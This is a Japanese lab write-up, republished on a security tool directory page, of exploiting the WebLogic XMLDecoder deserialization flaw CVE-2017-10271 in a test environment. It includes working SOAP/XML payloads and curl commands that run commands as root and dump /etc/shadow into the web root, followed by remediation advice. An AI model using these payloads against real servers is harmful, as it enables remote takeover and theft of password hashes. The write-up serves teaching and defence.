Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2017-10271 | Kitploit
ツール/GitHubGitHub/dungsocool/cve-2017-10271
特権昇格脆弱性分析エクスプロイトウェブアプリケーション悪用データ流出ポストエクスプロイトペネトレーションテスト学習と教育バイナリエクスプロイトラボと実践
GitHubdungsocool/cve-2017-10271

CVE-2017-10271

2ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る

LAB 2 - CVE-2017-10271: WebLogic XMLDecoder 逆シリアル化(Deserialization)Writeup

I. システム分析

システムログ分析

image.png

  • 検出されたサービス: Oracle WebLogic Server(Development Mode で稼働中の base_domain に属する AdminServer)。
  • 接続ポート: 7001。
  • サポート対象プロトコル: http、t3、iiop、ldap、snmp。
  • 攻撃対象領域の評価:
    • 当該サービスは 7001 ポートで t3 プロトコルを公開しています。このデフォルト構成は、WebLogic のバージョンが RMI(Remote Method Invocation)を介した Java オブジェクト逆シリアル化に関連する脆弱性に対してパッチ適用されていない場合、高いリスクを伴います。
    • Web 管理コンソールのインターフェースは 7001 ポートの http プロトコル上で動作しており、/console/login/LoginForm.jsp などの機密エンドポイントを狙ったディレクトリスキャンの影響を受けやすくなっています。

ターゲットの開放ポートが特定されたら、nmap を使用してポートをスキャンし、稼働中のサービスを特定します。

image.png

したがって、ターゲットは Oracle WebLogic Server 10.3.6.0 というバージョンの HTTP サービスを稼働させています。これは、一連の重大な CVE(逆シリアル化、認証バイパスなど)で有名なエンタープライズ向け Java アプリケーションサーバーです。しかし、この情報だけでは、システムがどの特定の脆弱性に対して脆弱であるかを結論付けるには不十分です。付随する Web サービスコンポーネントをより深くスキャンする必要があります。

ここで、dirsearch ツールを使用して機密エンドポイントの特定を進めます。WebLogic は Java プラットフォーム上で動作するため、.jsp および .xml ファイルが最も機密性の高いターゲットとなります。HTTP 200 ステータスコードを返すエンドポイントに焦点を当てます。

dirsearch -u http://192.168.3.137:7001/ -e jsp,xml,html

image.png

  • /console/login/LoginForm.jsp: WebLogic Admin Console の Web インターフェースへのログインポータルです。デフォルト認証情報のブルートフォース攻撃や認証バイパス脆弱性(CVE-2020-14882 など)の重要なターゲットとなります。
  • /bea_wls_internal/: WebLogic Server のデフォルトの内部 Web アプリケーションディレクトリです。このコンポーネントは、静的システムファイルへのアクセスおよび操作を可能にします。
  • /wls-wsat/CoordinatorPortType: これが最も重要な発見です。このパスが 200 OK ステータスコードを返すことは、Web Services Atomic Transactions(wls-wsat) コンポーネントが有効化され、データを受信できる状態にあることを確認します。
  • /uddiexplorer および /uddi/uddilistener: これは WebLogic Server にデフォルトで統合されている、Web サービスの管理および登録を行うための UDDI Explorer(Universal Description, Discovery, and Integration)コンポーネントです。このコンポーネントは SSRF(Server-Side Request Forgery)- CVE-2014-4210 脆弱性で非常に有名です。攻撃者は /uddiexplorer/SearchPublicRegistries.jsp エンドポイントにある UDDI のパブリックレジストリ検索インターフェースを利用して、WebLogic サーバーに任意の HTTP リクエストをバックエンドの内部ネットワークへ送信させることができます。

⇒ 考察: /wls-wsat(XMLDecoder を介した RCE リスク)と /uddiexplorer(SSRF リスク)の共存は、この WebLogic サーバーの攻撃対象領域が極めて広いことを示しています。

WebLogic 10.3.6.0 サーバー上に 2 つの独立した攻撃対象領域が共存していることを特定した後、次の 2 つの方向性を分析します。

  1. /uddiexplorer における SSRF 脆弱性(CVE-2014-4210):
    • 影響度: 中: サーバーから間接的な HTTP リクエストを送信して、LAN 内のポートスキャンや内部サービス(Redis など)とのやり取りを可能にします。
    • 制限事項: オペレーティングシステムレベル(OS レベル)の制御を直接付与するものではありません。SSRF から RCE への昇格は、内部ネットワークに他の設定ミスされたサービスが存在するかどうかに大きく依存します。
  2. /wls-wsat における XMLDecoder 逆シリアル化脆弱性(CVE-2017-10271):
    • 影響度: 重大: 稼働中プロセスの権限で、サーバー上で任意のリモートコード実行(RCE)を直接可能にします。

⇒ 決定: Cyber Attack Chain モデルにおいて、RCE は常に最終目標です。なぜなら、システムの直接的かつ完全な制御(Full System Compromise)を提供するからです。RCE の実行能力を獲得した時点で、UDDI アプリケーションを介した SSRF の悪用は冗長になります。これは、RCE シェルからは、UDDI インターフェースのパラメータに制限されることなく、システムコマンド(curl、wget など)を使用して、直接的、柔軟的、かつより強力に内部ネットワークの調査を積極的に実行できるためです。

したがって、エクスプロイトの優先順位の論理において、二次的な経路(/uddiexplorer での SSRF)を除外し、/wls-wsat/CoordinatorPortType における XMLDecoder 逆シリアル化脆弱性を介したリモートコード実行(RCE)の調査に完全に集中することを決定します。

脆弱性メカニズムの分析と検証

CVE-2017-10271 の根本的な脆弱性は、WebLogic の WorkContextXmlInputAdapter クラスが java.beans.XMLDecoder オブジェクトを使用して <work:WorkContext> タグ内のデータを解析することに起因します。デフォルトでは、この XMLDecoder クラスは XML タグ形式で定義された任意の Java クラスを自動的にインスタンス化します。ここから、段階的なシステムの動作的相互作用に基づく検証を実行します。

このサーブレットの実際の稼働状態を迅速に確認するため、通常の HTTP GET プローブリクエストを送信します:

curl -i -s http://192.168.3.137:7001/wls-wsat/CoordinatorPortType

レスポンスは HTTP/1.1 200 OK と実装クラス CoordinatorPortTypePortImpl を返し、サーブレットが JVM メモリに正常にロードされたことを確認します。

POST データ処理の検証

Web Services サーブレットは POST メソッドで SOAP XML データを処理するように設計されているため、システムのデータ処理パイプラインを実証するために、2 つの POST リクエストによる比較テストを実行します。

1. 標準的な SOAP POST リクエスト

パーサーの通常の解析能力をテストするために、標準的な SOAP XML エンベロープ(完全な名前空間を含むが実行コンテンツは含まない)を送信します。

root@kitploit:~
curl -i -s -X POST "http://192.168.3.137:7001/wls-wsat/CoordinatorPortType" \
-H "Content-Type: text/xml;charset=UTF-8" \
-d "<soapenv:Envelope xmlns:soapenv='http://schemas.xmlsoap.org/soap/envelope/'>soapenv:Header/soapenv:Body/</soapenv:Envelope>"

image.png

  • 結果: システムはパーサーを問題なく通過し、バックエンドサービスのロジック層でのみエラー(Cannot find dispatch method)を示します。

分析:

サーバーは POST ポートに十分に機能する XML リーダーを備えており、ユーザーが送信した XML ツリー構造全体を受信してデコードする準備ができています。これは、クライアントから WebLogic メモリ内部に至るデータパイプラインが完全に動作していることを確認します。

2. 不正な XML 構造の POST リクエスト

次に、XML 構造を意図的に破壊して(例: 名前空間の欠落)、パーサーの例外処理メカニズムを観察します。

root@kitploit:~
curl -i -s -X POST "http://192.168.3.137:7001/wls-wsat/CoordinatorPortType" \
-H "Content-Type: text/xml;charset=UTF-8" \
-d "soapenv:Envelopesoapenv:Headerwork:WorkContextinvalid_xml_structure</work:WorkContext></soapenv:Header></soapenv:Envelope>"

image.png

  • 結果: 例外 com.ctc.wstx.exc.WstxParsingException: Undeclared namespace prefix "soapenv" が返されます。

分析:

  1. POST パケットの Body 内のすべての文字、すべての XML タグは、JVM 内部の最下層の Java XML パーサー(com.ctc.wstx)に直接渡されて解析されます。
  2. システムは、入力データをフィルタリングするためのチェックポイント、フィルタ、または Web Application Firewall(WAF)を中間に一切持っていません。フィルタが存在する場合、パケットは Java パーサー層の奥深くまで侵入してこのようなシステムエラーを発生させるのではなく、最初からブロックされていたはずです。

結論

実際の実験結果とシステムアーキテクチャ分析の組み合わせ — wls-wsat サーブレットが POST ポートを介して生のパケットを受信し、パーサー層に WAF/サニティフィルタが存在せず、生の Java XML リーダーエラーを直接スローすること — は、サーバーが CVE-2017-10271(XMLDecoder 逆シリアル化)の影響範囲に直接該当する、極めて脆弱なサービス構造を動作させていることを確認します。

XMLDecoder のデフォルトの解析メカニズムにはクラス制御フィルタが一切ないため、サーバーがサニタイズなしで生の POST データを受信することは、次のステップで Java システム実行オブジェクトを直接呼び出すペイロードを設計するための完璧な入口となります。

II. エクスプロイト

手動ペイロード構築の考察

WebLogic 10.3.6.0 サーバーは古い Java 環境上で動作し、XMLDecoder に対して厳格なクラス制御フィルタを適用していないため、攻撃者は実行可能な Java オブジェクトを直接注入できます。

Java でコマンドを実行するための標準クラスは java.lang.ProcessBuilder です。この Java オブジェクトの初期化ロジックを XMLDecoder 互換の XML 形式にマッピングします:

  • クラス初期化の宣言: <void class="java.lang.ProcessBuilder">
  • 実行するコマンドを含むパラメータの文字列配列を定義: <array class="java.lang.String" length="3">
  • 実行メソッドをトリガー: <void method="start"/>

ブラインド RCE の回避

ProcessBuilder を介してシステムコマンドが実行されると、WebLogic サーバーは OS 上でコマンドをバックグラウンド実行し、HTTP 500 エラーコードのみを返します(コマンドの出力を HTTP レスポンス画面に直接出力することはありません)。この仕組みは Web Application Mapping と呼ばれ、すべての Web サーバーはこのように動作します。war/ ディレクトリはそのアプリケーションの**ドキュメントルート(Document Root)**です。war/ 内に配置された任意のファイルは、短い URL でアクセスできます。

⇒ ブラインド RCE を回避するには、物理パスを見つける必要があります。id > ... コマンドはオペレーティングシステム上で実行されるため、実際のパスが必要です。

/war ディレクトリを特定するためのホワイトボックス分析

コンテナ内でロードされている bea_wls_internal アプリケーションの実際の物理パスを特定するため、ホストマシンから直接システム検索クエリを実行します:

image.png

結果

  • /root/Oracle/Middleware/wlserver_10.3/server/lib/bea_wls_internal.war(元のアーカイブライブラリファイル)。
  • /root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal(AdminServer の一時パーティション _WL_internal 内に展開されたアクティブなアプリケーションディレクトリ)。このアクティブディレクトリの奥に進むと、静的ファイルを含むサブディレクトリ /9j4dqk/war/ が見つかります。これはアプリケーションの絶対 Web ルートディレクトリであり、攻撃者は RCE 実行結果を表示するための静的ファイルを書き込む権限を持っています。

考察: id の出力を上記ディレクトリ内の静的ファイル rce.txt にリダイレクトするコマンドを設計します: id > /root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/rce.txt

XMLDecoder エクスプロイトペイロードの作成

上記の分析から、Java の XMLDecoder クラスが XML タグ形式で定義された任意のオブジェクトを自動的にインスタンス化して実行することがわかります。Java でオペレーティングシステムコマンドを呼び出すための標準クラスは java.lang.ProcessBuilder です。

同等の Java コードから XMLDecoder の XML 構造へのマッピングプロセス:

同等の Java コード:

root@kitploit:~
String[] cmd = {"/bin/bash", "-c", "id > /root/.../war/rce.txt"};
new ProcessBuilder(cmd).start();

XMLDecoder の XML タグへのマッピング:

完全な SOAP 構造を含む exploit.xml ファイルを Kali Linux マシン上に作成します:

root@kitploit:~
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
      <java version="1.6.0" class="java.beans.XMLDecoder">
        <void class="java.lang.ProcessBuilder">
          <array class="java.lang.String" length="3">
            <void index="0">
              <string>/bin/bash</string>
            </void>
            <void index="1">
              <string>-c</string>
            </void>
            <void index="2">
              <string>id > /root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/rce.txt</string>
            </void>
          </array>
          <void method="start"/>
        </void>
      </java>
    </work:WorkContext>
  </soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>

Kali Linux マシンから、エクスプロイトペイロードを含む XML ファイルをターゲットのエンドポイントに送信します:

root@kitploit:~
curl -i -s -X POST "http://192.168.3.137:7001/wls-wsat/CoordinatorPortType" \
  -H "Content-Type: text/xml;charset=UTF-8" \
  -d @exploit.xml

image.png

RCE 結果の検証

Web ルートディレクトリに作成されたばかりの静的ファイル rce.txt にアクセスします:

root@kitploit:~
curl -s http://192.168.3.137:7001/bea_wls_internal/rce.txt

image.png

RCE エクスプロイトの成功。 id コマンドの結果は、WebLogic プロセスが root 権限で実行されていることを確認します。

III. 攻撃後(ポストエクスプロイテーション)

権限の検証

id コマンドの実行結果は uid=0(root) を返します。これは、WebLogic Server プロセスがオペレーティングシステムの最高権限である root 権限で直接実行されていることを証明します。攻撃者は追加の権限昇格(Privilege Escalation)ステップを必要とせずに、システムを完全に制御できます。

機密データの収集

攻撃者は /etc/shadow などの機密システムファイルを簡単に読み取ることができます。exploit_shadow.xml ファイルを作成し、WebLogic サーバーが自動的に実行するように XML ペイロードを介して送信します。これにより、サーバーにファイルの読み取りを実行させ、外部 URL からアクセスできるように Document root ディレクトリに出力をリダイレクトします。

root@kitploit:~
cat > exploit_shadow.xml << 'EOF'
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
      <java version="1.6.0" class="java.beans.XMLDecoder">
        <void class="java.lang.ProcessBuilder">
          <array class="java.lang.String" length="3">
            <void index="0">
              <string>/bin/bash</string>
            </void>
            <void index="1">
              <string>-c</string>
            </void>
            <void index="2">
              <string>cat /etc/shadow > /root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/shadow.txt</string>
            </void>
          </array>
          <void method="start"/>
        </void>
      </java>
    </work:WorkContext>
  </soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>
EOF

次に、ペイロードを送信し、外部からファイルを読み取ります:

root@kitploit:~
curl -s -X POST "http://192.168.3.137:7001/wls-wsat/CoordinatorPortType" \
  -H "Content-Type: text/xml;charset=UTF-8" -d @exploit_shadow.xml

curl -s http://192.168.3.137:7001/bea_wls_internal/shadow.txt

image.png

システムアカウントの全一覧とパスワードハッシュが完全に漏洩します。

リバースシェル

コンテナが分離された内部ネットワーク環境(Docker ホストの NAT/ブリッジ)で実行されているため、LAN 外部の Kali マシンへの直接のリバース接続(リバースシェル)の確立は、ルーティング上の障害に遭遇する可能性があります。実際の環境(本番環境)では、サーバーに外部へのインターネット接続があれば、攻撃者はリバースシェルを完全にセットアップできます。

しかし、root 権限で直接リモートコード実行(RCE)を行う能力と、Web ルートを介して対話的にファイルを読み書きする能力は、システム全体の侵害を確認するのに十分です。

IV. 評価と推奨事項

リスク評価

この WebLogic システムにおける XMLDecoder 逆シリアル化脆弱性(CVE-2017-10271)は、最も重大なリスクレベル(Critical) と評価されます:

修正の推奨事項

この重大なセキュリティ脆弱性を完全に修正するため、管理者は以下の対策を直ちに実施する必要があります:

緊急優先度(短期的対策):

  1. wls-wsat コンポーネントの削除または無効化: システムが Web Services Atomic Transactions(WSAT)機能を使用していない場合は、WebLogic インストールパス内の wls-wsat.war フォルダを削除し、サービスを再起動して、この攻撃対象領域を完全に排除します。
  2. セキュリティパッチの適用(Patching): Oracle が提供する CVE-2017-10271 向けのスタンドアロンセキュリティ更新パッケージを直ちに適用するか、WebLogic Server をより新しい安全なバージョンにアップグレードします(バージョン 12c 以降では、XML 処理メカニズムが安全な代替手段に置き換えられています)。
  3. プロセス実行権限の引き下げ: WebLogic サービスを制限されたユーザーアカウント(例: oracle)で実行するように再構成し、root 権限でプロセスを実行することは絶対に避けます。

長期優先度(多層防御):

  1. Web Application Firewall(WAF)の導入: WAF にルールを設定し、<java>、<object>、<void>、<class>、<method> などの XMLDecoder に特徴的な XML タグを含む /wls-wsat/ エンドポイントへの POST リクエストを検出してブロックします。
  2. ネットワークセグメンテーションの設定: WebLogic コンテナを分離し、不要な外部方向(Outbound)のネットワークトラフィックをブロックして、リバースシェルや外部からの悪意のあるコードのコンテナ内へのダウンロードのリスクを最小限に抑えます。
ツールをダウンロード
Java コンポーネント対応する XML タグ
ProcessBuilder クラスの宣言<void class="java.lang.ProcessBuilder">
パラメータ配列 String[]<array class="java.lang.String" length="3">
配列要素(インデックス 0、1、2)<void index="0"><string>...</string></void>
.start() メソッドの呼び出し<void method="start"/>
評価基準評価詳細
CVSS スコア9.8(Critical)極めて高い影響度スコア。
認証不要悪用にはアカウントやいかなる認証も不要。
攻撃複雑度非常に低い悪意のある SOAP XML ペイロードを含む単一の HTTP POST リクエストを送信するだけでよい。
獲得権限rootシステムの最高権限でコンテナを完全に制御可能。
水平移動(Lateral Movement)高い侵害されたコンテナをピボットポイントとして、他の内部ネットワークコンテナや物理ホストサーバーを攻撃できる。